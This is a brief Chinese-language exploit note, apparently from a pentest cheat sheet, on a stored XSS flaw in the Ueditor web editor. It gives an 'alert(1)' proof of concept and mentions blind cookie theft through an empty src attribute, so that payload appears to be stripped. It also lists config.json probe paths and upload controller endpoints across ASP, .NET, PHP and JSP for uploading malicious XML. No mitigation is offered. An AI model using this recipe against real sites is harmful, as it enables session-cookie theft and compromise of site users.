Ueditor_存儲型XSS漏洞

# Ueditor 存儲型XSS漏洞
==POC==

alert(1) 



盲打Cookie、src=""：

Ueditor 默認支持上傳 xml ：config.json可以查看支持上傳的後綴

/ueditor/asp/config.json 
/ueditor/net/config.json 
/ueditor/php/config.json 
/ueditor/jsp/config.json

上傳文件路徑

/ueditor/index.html

/ueditor/asp/controller.asp?action=uploadimage /ueditor/asp/controller.asp?action=uploadfile

/ueditor/net/controller.ashx?action=uploadimage /ueditor/net/controller.ashx?action=uploadfile

/ueditor/php/controller.php?action=uploadfile /ueditor/php/controller.php?action=uploadimage

/ueditor/jsp/controller.jsp?action=uploadfile /ueditor/jsp/controller.jsp?action=uploadimag